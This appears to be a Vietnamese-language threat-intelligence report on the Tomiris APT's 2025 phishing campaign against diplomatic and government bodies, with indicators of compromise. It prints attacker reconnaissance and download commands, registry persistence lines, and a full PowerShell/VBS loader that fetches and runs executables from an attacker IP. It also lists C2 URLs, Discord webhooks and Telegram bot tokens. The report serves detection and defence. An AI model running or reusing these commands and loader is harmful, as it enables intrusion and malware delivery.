Phân tích chiến dịch tấn công Tomiris 2025 – Báo cáo kỹ thuật chi tiết

Search for a command to run...

No comments yet. Be the first to comment.
Tổng Quan Một chiến dịch tấn công bằng dòng mã độc tống tiền mới mang tên Spirals đã ghi nhận vụ việc đầu tiên mã hóa thành công toàn bộ hệ thống của một công ty dịch vụ IT tại Nam Á chỉ trong vòng ch

Tóm tắt rủi ro Bạn bảo một web agent: "tóm tắt giúp tôi các review trên trang này". Một review giả do kẻ tấn công đăng lên khiến agent bấm nhầm nút "Buy Now", và đơn hàng được đặt. Không malware, khôn

Campaign Summary A Russian-speaking criminal group tracked by Cisco Talos as UAT-11795 has been running a continuous campaign since at least June 2025, distributing malware inside trojanized installer

Tóm tắt chiến dịch Nhóm tội phạm nói tiếng Nga được Cisco Talos theo dõi dưới định danh UAT-11795 đã hoạt động liên tục từ ít nhất tháng 06/2025, phát tán mã độc thông qua các bộ cài đặt phần mềm hợp

Tóm Tắt Chiến Dịch Vào ngày 14/07/2026, kẻ tấn công đã xâm nhập thành công tổ chức AsyncAPI trên npm — một trong những dự án mã nguồn mở phổ biến nhất cho các API event-driven, và tiêm mã độc vào 4 gó

Trong quá trình theo dõi nhóm APT Tomiris, chúng tôi đã phát hiện một loạt chiến dịch tấn công mới bắt đầu từ đầu năm 2025. Các hoạt động này nhắm vào các bộ ngoại giao, tổ chức liên chính phủ, và cơ quan nhà nước, cho thấy mục tiêu rõ ràng là cơ sở hạ tầng ngoại giao và chính trị có giá trị cao.
Ở nhiều trường hợp, chúng tôi theo dõi được toàn bộ chuỗi tấn công – từ khi nạn nhân bị xâm nhập cho đến giai đoạn triển khai các công cụ hậu khai thác (post-exploitation frameworks).
Một điểm đáng chú ý là Tomiris đã thay đổi chiến thuật: tăng cường sử dụng implant giao tiếp qua dịch vụ công cộng như Telegram và Discord để thực hiện C2. Cách này giúp che giấu lưu lượng độc hại dưới dạng lưu lượng hợp pháp, khiến việc phát hiện trở nên khó khăn hơn.
Phần lớn ca nhiễm bắt đầu bằng việc cài implant shell đảo ngược (reverse shell) viết bằng nhiều ngôn ngữ: Go, Rust, C/C#/C++, Python. Từ đó, kẻ tấn công tiếp tục tải về framework hậu khai thác Havoc hoặc AdaptixC2.
Phát hiện nhiều implant mới viết bằng nhiều ngôn ngữ khác nhau
Nhiều implant sử dụng Telegram hoặc Discord làm C2
Ghi nhận việc triển khai Havoc và AdaptixC2 trong giai đoạn hậu khai thác
Các mã độc trong chiến dịch được Kaspersky nhận diện dưới các định danh:
HEUR:Backdoor.Win64.RShell.gen
HEUR:Backdoor.MSIL.RShell.gen
HEUR:Backdoor.Win64.Telebot.gen
HEUR:Backdoor.Python.Telebot.gen
HEUR:Trojan.Win32.RProxy.gen
HEUR:Trojan.Win32.TJLORT.a
HEUR:Backdoor.Win64.AdaptixC2.a
Cuộc tấn công bắt đầu bằng email lừa đảo chứa một tệp nén có mật khẩu.

Mật khẩu thường được ghi ngay trong nội dung email. Bên trong là một file thực thi, đôi khi bị ngụy trang dưới icon tài liệu Office hoặc dùng double-extension như:
document.doc .exe
Ngoài ra, nhiều file có tên rất dài khiến phần đuôi .exe bị che khuất khi xem trong trình duyệt archive.

Khi người dùng mở file, implant ban đầu sẽ được kích hoạt. Tùy trường hợp, các implant khác nhau nhưng thường giữ cùng tên file trong archive.

Đây là reverse shell đơn thuần, được vận hành thủ công bởi attacker. Ngay sau khi chạy, attacker sẽ:
Chạy các lệnh như:
whoami
ipconfig /all
systeminfo
hostname
net user /dom
dir
Sử dụng công cụ tích hợp sẵn của Windows:
bitsadmin /transfer ...
curl -o ...
certutil -urlcache ...
powershell -Command Invoke-WebRequest ...
Kiểm tra thư mục %temp% hoặc %public%\libraries.
Thêm implant vào registry:
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v WinUpdate /t REG_SZ /d $public\pictures\winupdate.exe /f
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Win-NetAlone" /t REG_SZ /d "$public\videos\alone.exe"
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Winservice" /t REG_SZ /d "$public\Pictures\dwm.exe"
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v CurrentVersion/t REG_SZ /d $public\Pictures\sbschost.exe /f
Ba biến thể C/C++ ReverseShell được quan sát. Tất cả đều rất tối giản – không tự nhân bản, không persistence trừ khi attacker chủ động tạo.

Implant chưa từng được công bố trước đây, viết bằng Rust, kích thước lớn nhưng chức năng đơn giản.
"cmd" /C "ipconfig /all"
"cmd" /C "echo %username%"
"cmd" /C hostname
"cmd" /C ver
"cmd" /C curl hxxps://ipinfo[.]io/ip
"cmd" /C curl hxxps://ipinfo[.]io/country
Tìm file có phần mở rộng trên các ổ C:/, D:/, E:/, F:/, G:/, H:/, I:/ hoặc J:/:
.jpg .jpeg .png .txt .rtf .pdf .xlsx .docx
Loại trừ các thư mục hệ thống như “.wrangler”, “.git”, “node_modules”, “Program Files”, “Program Files (x86)”, “Windows”, “Program Data” và “AppData”.
Gửi JSON thông tin hệ thống + danh sách đường dẫn file qua webhook Discord.
hxxps://discordapp[.]com/api/webhooks/1392383639450423359/TmFw-WY-u3D3HihXqVOOinL73OKqXvi69IBNh_rr15STd3FtffSP2BjAH59ZviWKWJRX

Tạo script.vbs và script.ps1. Script PowerShell chạy vòng lặp 60 giây, cố tải về:
http://193.149.129.113/<PC_NAME>/1.zip
Giải nén vào %TEMP%\rfolder và chạy tất cả .exe.
Nội dung file script.vbs:
Set Shell = CreateObject("WScript.Shell")
Shell.Run "powershell -ep Bypass -w hidden -File %temp%\script.ps1"
Nội dung file script.ps1:
$Url = "hxxp://193.149.129[.]113/<PC_NAME>"
$dUrl = $Url + "/1.zip"
while($true){
try{
$Response = Invoke-WebRequest -Uri $Url -UseBasicParsing -ErrorAction Stop
iwr -OutFile $env:Temp\1.zip -Uri $dUrl
New-Item -Path $env:TEMP\rfolder -ItemType Directory
tar -xf $env:Temp\1.zip -C $env:Temp\rfolder
Get-ChildItem $env:Temp\rfolder -Filter "*.exe" | ForEach-Object {Start-Process $_.FullName }
break
}catch{
Start-Sleep -Seconds 60
}
}
Trong một trường hợp, file tải xuống là payload Havoc.

Viết bằng Python
Biên dịch bằng PyInstaller
Bị obfuscate bằng PyArmor

Điều khiển C2 qua Discord API
Nhận lệnh console và trả kết quả lại C2
Tải thêm implant (AdaptixC2, Python FileGrabber)
Trojan này được cài đặt thông qua Tomiris Python Discord ReverseShell. Kẻ tấn công thực hiện bằng cách thực thi câu lệnh:
cmd.exe /c "curl -o $public\videos\offel.exe http://<HOST>/offel.exe"
Trojan này sẽ thu thập file cod định dạng:
.jpg .png .pdf .txt .doc .docx
Sau đó sẽ nén thành ZIP và gửi về C2 qua HTTP POST.
Bỏ qua các thư mục hệ thống (AppData, Windows, Program Files…).

Dựa hoàn toàn trên dự án dystopia-c2 trên GitHub
Viết bằng Python
Chức năng:
chạy lệnh
tải lên / tải xuống file
kết thúc process
cmd.exe /c "dir"
cmd.exe /c "dir C:\user\[username]\pictures"
cmd.exe /c "pwd"
cmd.exe /c "curl -O $public\sysmgmt.exe http://<HOST>/private/svchost.exe"
cmd.exe /c "$public\sysmgmt.exe"
Dùng để triển khai Python Telegram ReverseShell ở giai đoạn kế tiếp.
Viết Python, compile PyInstaller
Obfuscate bằng PyArmor
Giao tiếp C2 qua Telegram bot
Không phải là phiên bản mới của Telemiris – là công cụ riêng biệt


JLORAT, là implant lâu đời từ 2022, ít thay đổi
Tomiris Rust ReverseShell, được viết bằng Rust, sử dụng PowerShell thay vì cmd.exe
Tomiris Go ReverseShell, viết bằng Golang, kết nối tới IP 62.113.114.209 port 443
PowerShell Telegram Backdoor, là backdoor được viết bằng PowerShell sử dụng Telegram để kết nối tới máy chủ C2
Tomiris C# ReverseShell, là reverse sehll được viết bằng C#

Dùng để hỗ trợ lateral movement hoặc che giấu scanner.
C++ ReverseSocks – dựa trên GitHub Neosama/Reverse-SOCKS5
Go ReverseSocks – dựa trên GitHub Acebond/ReverseSocks5
Cả hai đã bị chỉnh sửa để ẩn console.
Hơn 50% email phishing được viết bằng tiếng Nga, nhắm vào các tổ chức nói tiếng Nga. Số còn lại hướng đến:
Turkmenistan
Kyrgyzstan
Tajikistan
Uzbekistan
Các email chứa nội dung phù hợp với quốc gia được nhắm đến.
Dựa trên:
Cách đặt tên file rất dài, mang tính mô tả chi tiết
File nằm trong archive có mật khẩu theo định dạng “XXX@2025“, ví dụ như là min@2025, sib@2025…
Nhiều malware khác nhau dùng chung tên file
Implant JLORAT và nhiều biến thể shell map về cùng mô hình tấn công
→ Đây là các công cụ thuộc về nhóm Tomiris
Chiến dịch Tomiris 2025 cho thấy:
Mã độc đa ngôn ngữ giúp tăng tính linh hoạt và giảm khả năng bị phát hiện
Sử dụng dịch vụ công cộng làm C2 (Telegram/Discord) để che giấu lưu lượng
Tập trung vào các mục tiêu chính phủ, ngoại giao, liên chính phủ
Dùng các framework hậu khai thác mạnh như Havoc và AdaptixC2
Để phát hiện loại hoạt động này, cần áp dụng:
Phân tích hành vi (behavioral detection)
Giám sát lưu lượng mạng
Kiểm tra bất thường trong registry, persistence, script lạ
Kiểm soát nghiêm ngặt lưu lượng tới dịch vụ công cộng (Discord/Telegram) từ máy chủ nội bộ
MD5 Hash:
Distopia Backdoor | B8FE3A0AD6B64F370DB2EA1E743C84BB |
Tomiris Python Discord ReverseShell | 091FBACD889FA390DC76BB24C2013B59 |
Tomiris Python FileGrabber | C0F81B33A80E5E4E96E503DBC401CBEE |
Tomiris Python Telegram ReverseShell | 42E165AB4C3495FADE8220F4E6F5F696 |
Tomiris C# Telegram ReverseShell | 2FBA6F91ADA8D05199AD94AFFD5E5A18 |
Tomiris C/C++ ReverseShell | 0F955D7844E146F2BD756C9CA8711263 |
Tomiris Rust Downloader | 1083B668459BEACBC097B3D4A103623F |
JLORAT | C73C545C32E5D1F72B74AB0087AE1720 |
Tomiris Rust ReverseShell | 9A9B1BA210AC2EBFE190D1C63EC707FA |
Tomiris C++ ReverseSocks (based on GitHub Neosama/Reverse-SOCKS5) | 2ED5EBC15B377C5A03F75E07DC5F1E08 |
Tomiris PowerShell Telegram Backdoor | C75665E77FFB3692C2400C3C8DD8276B |
Tomiris C# ReverseShell | DF95695A3A93895C1E87A76B4A8A9812 |
Tomiris Go ReverseShell | 087743415E1F6CC961E9D2BB6DFD6D51 |
Tomiris Go ReverseSocks (based on GitHub Acebond/ReverseSocks5) | 83267C4E942C7B86154ACD3C58EAF26C |
AdaptixC2 | CD46316AEBC41E36790686F1EC1C39F0 |
Havoc | 4EDC02724A72AFC3CF78710542DB1E6E |
URL:
hxxps://discord[.]com/api/webhooks/1357597727164338349/ikaFqukFoCcbdfQIYXE91j-dGB-8YsTNeSrXnAclYx39Hjf2cIPQalTlAxP9-2791UCZ
hxxps://discord[.]com/api/webhooks/1370623818858762291/p1DC3l8XyGviRFAR50de6tKYP0CCr1hTAes9B9ljbd-J-dY7bddi31BCV90niZ3bxIMu
hxxps://discord[.]com/api/webhooks/1388018607283376231/YYJe-lnt4HyvasKlhoOJECh9yjOtbllL_nalKBMUKUB3xsk7Mj74cU5IfBDYBYX-E78G
hxxps://discord[.]com/api/webhooks/1386588127791157298/FSOtFTIJaNRT01RVXk5fFsU_sjp_8E0k2QK3t5BUcAcMFR_SHMOEYyLhFUvkY3ndk8-w
hxxps://discord[.]com/api/webhooks/1369277038321467503/KqfsoVzebWNNGqFXePMxqi0pta2445WZxYNsY9EsYv1u_iyXAfYL3GGG76bCKy3-a75
hxxps://discord[.]com/api/webhooks/1396726652565848135/OFds8Do2qH-C_V0ckaF1AJJAqQJuKq-YZVrO1t7cWuvAp7LNfqI7piZlyCcS1qvwpXTZ
hxxp://62.113.115[.]89/homepage/infile.php
hxxps://api.telegram[.]org/bot7562800307:AAHVB7Ctr-K52J-egBlEdVoRHvJcYr-0nLQ/
hxxps://api.telegram[.]org/bot7804558453:AAFR2OjF7ktvyfygleIneu_8WDaaSkduV7k/
hxxps://discordapp[.]com/api/webhooks/1392383639450423359/TmFw-WY-u3D3HihXqVOOinL73OKqXvi69IBNh_rr15STd3FtffSP2BjAH59ZviWKWJRX
hxxps://discordapp[.]com/api/webhooks/1363764458815623370/IMErckdJLreUbvxcUA8c8SCfhmnsnivtwYSf7nDJF-bWZcFcSE2VhXdlSgVbheSzhGYE
hxxps://discordapp[.]com/api/webhooks/1355019191127904457/xCYi5fx_Y2-ddUE0CdHfiKmgrAC-Cp9oi-Qo3aFG318P5i-GNRfMZiNFOxFrQkZJNJsR
hxxp://82.115.223[.]218/
hxxp://172.86.75[.]102/
hxxp://193.149.129[.]113/
hxxp://82.115.223[.]210:9942/bot_auth
hxxp://88.214.26[.]37:9942/bot_auth
hxxp://141.98.82[.]198:9942/bot_auth
hxxps://api.telegram[.]org/bot8044543455:AAG3Pt4fvf6tJj4Umz2TzJTtTZD7ZUArT8E/
hxxps://api.telegram[.]org/bot7864956192:AAEjExTWgNAMEmGBI2EsSs46AhO7Bw8STcY/
hxxps://api.telegram[.]org/bot8039791391:AAHcE2qYmeRZ5P29G6mFAylVJl8qH_ZVBh8/
hxxps://api.telegram[.]org/bot7157076145:AAG79qKudRCPu28blyitJZptX_4z_LlxOS0/
hxxps://api.telegram[.]org/bot7649829843:AAH_ogPjAfuv-oQ5_Y-s8YmlWR73Gbid5h0/
hxxp://188.127.251[.]146:8080/sbchost.rar
hxxp://188.127.251[.]146:8080/sxbchost.exe
hxxp://192.153.57[.]9/private/svchost.exe
hxxp://193.149.129[.]113/732.exe
hxxp://193.149.129[.]113/system.exe
hxxp://195.2.79[.]245/732.exe
hxxp://195.2.79[.]245/code.exe
hxxp://195.2.79[.]245/firefox.exe
hxxp://195.2.79[.]245/rever.exe
hxxp://195.2.79[.]245/service.exe
hxxp://195.2.79[.]245/winload.exe
hxxp://195.2.79[.]245/winload.rar
hxxp://195.2.79[.]245/winsrv.rar
hxxp://195.2.79[.]245/winupdate.exe
hxxp://62.113.115[.]89/offel.exe
hxxp://82.115.223[.]78/private/dwm.exe
hxxp://82.115.223[.]78/private/msview.exe
hxxp://82.115.223[.]78/private/spoolsvc.exe
hxxp://82.115.223[.]78/private/svchost.exe
hxxp://82.115.223[.]78/private/sysmgmt.exe
hxxp://85.209.128[.]171:8000/AkelPad.rar
hxxp://88.214.25[.]249:443/netexit.rar
hxxp://89.110.95[.]151/dwm.exe
hxxp://89.110.98[.]234/Rar.exe
hxxp://89.110.98[.]234/code.exe
hxxp://89.110.98[.]234/rever.rar
hxxp://89.110.98[.]234/winload.exe
hxxp://89.110.98[.]234/winload.rar
hxxp://89.110.98[.]234/winrm.exe
hxxps://docsino[.]ru/wp-content/private/alone.exe
hxxps://docsino[.]ru/wp-content/private/winupdate.exe
hxxps://sss.qwadx[.]com/12345.exe
hxxps://sss.qwadx[.]com/AkelPad.exe
hxxps://sss.qwadx[.]com/netexit.rar
hxxps://sss.qwadx[.]com/winload.exe
hxxps://sss.qwadx[.]com/winsrv.exe
IP:
77.232.39[.]47
109.172.85[.]63
109.172.85[.]95
185.173.37[.]67
185.231.155[.]111
195.2.81[.]99
185.209.30[.]41
185.231.154[.]84
206.188.196[.]191
188.127.225[.]191
188.127.251[.]146
94.198.52[.]200
188.127.227[.]226
185.244.180[.]169
91.219.148[.]93
62.113.114[.]209
195.2.78[.]133
192.165.32[.]78
188.127.231[.]136
77.232.42[.]107
94.198.52[.]210
96.9.124[.]207
192.153.57[.]189
64.7.199[.]193
78.128.112[.]209